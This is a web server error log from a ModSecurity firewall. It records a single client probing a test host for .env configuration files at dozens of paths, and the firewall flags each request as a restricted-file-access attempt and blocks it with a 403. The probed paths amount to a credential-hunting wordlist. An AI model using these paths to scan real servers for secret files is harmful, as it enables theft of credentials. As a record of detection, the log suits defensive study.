[Mon Jul 28 20:46:03.739939 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAQAAAA4&quot;]
[Mon Jul 28 20:46:03.740095 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAQAAAA4&quot;]
[Mon Jul 28 20:46:03.768974 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAgAAAA4&quot;]
[Mon Jul 28 20:46:03.769265 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAgAAAA4&quot;]
[Mon Jul 28 20:46:03.769501 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAgAAAA4&quot;]
[Mon Jul 28 20:46:03.798394 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAwAAAA4&quot;]
[Mon Jul 28 20:46:03.798606 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAwAAAA4&quot;]
[Mon Jul 28 20:46:03.798773 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAwAAAA4&quot;]
[Mon Jul 28 20:46:03.827703 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBAAAAA4&quot;]
[Mon Jul 28 20:46:03.827917 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBAAAAA4&quot;]
[Mon Jul 28 20:46:03.828116 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBAAAAA4&quot;]
[Mon Jul 28 20:46:03.856993 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBQAAAA4&quot;]
[Mon Jul 28 20:46:03.857215 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBQAAAA4&quot;]
[Mon Jul 28 20:46:03.857378 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBQAAAA4&quot;]
[Mon Jul 28 20:46:03.886498 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/code/community/nosto/tagging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBgAAAA4&quot;]
[Mon Jul 28 20:46:03.886711 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBgAAAA4&quot;]
[Mon Jul 28 20:46:03.886884 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nBgAAAA4&quot;]
[Mon Jul 28 20:46:04.043285 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9gAAAAM&quot;]
[Mon Jul 28 20:46:04.043569 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9gAAAAM&quot;]
[Mon Jul 28 20:46:04.043743 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9gAAAAM&quot;]
[Mon Jul 28 20:46:04.065813 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9wAAAAM&quot;]
[Mon Jul 28 20:46:04.066043 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9wAAAAM&quot;]
[Mon Jul 28 20:46:04.066209 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b9wAAAAM&quot;]
[Mon Jul 28 20:46:04.134511 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app1-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-gAAAAM&quot;]
[Mon Jul 28 20:46:04.134742 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-gAAAAM&quot;]
[Mon Jul 28 20:46:04.134906 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-gAAAAM&quot;]
[Mon Jul 28 20:46:04.156815 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app2-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-wAAAAM&quot;]
[Mon Jul 28 20:46:04.157025 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-wAAAAM&quot;]
[Mon Jul 28 20:46:04.157191 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b-wAAAAM&quot;]
[Mon Jul 28 20:46:04.179158 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_AAAAAM&quot;]
[Mon Jul 28 20:46:04.179356 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_AAAAAM&quot;]
[Mon Jul 28 20:46:04.179529 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_AAAAAM&quot;]
[Mon Jul 28 20:46:04.201587 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_nginx_static_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_QAAAAM&quot;]
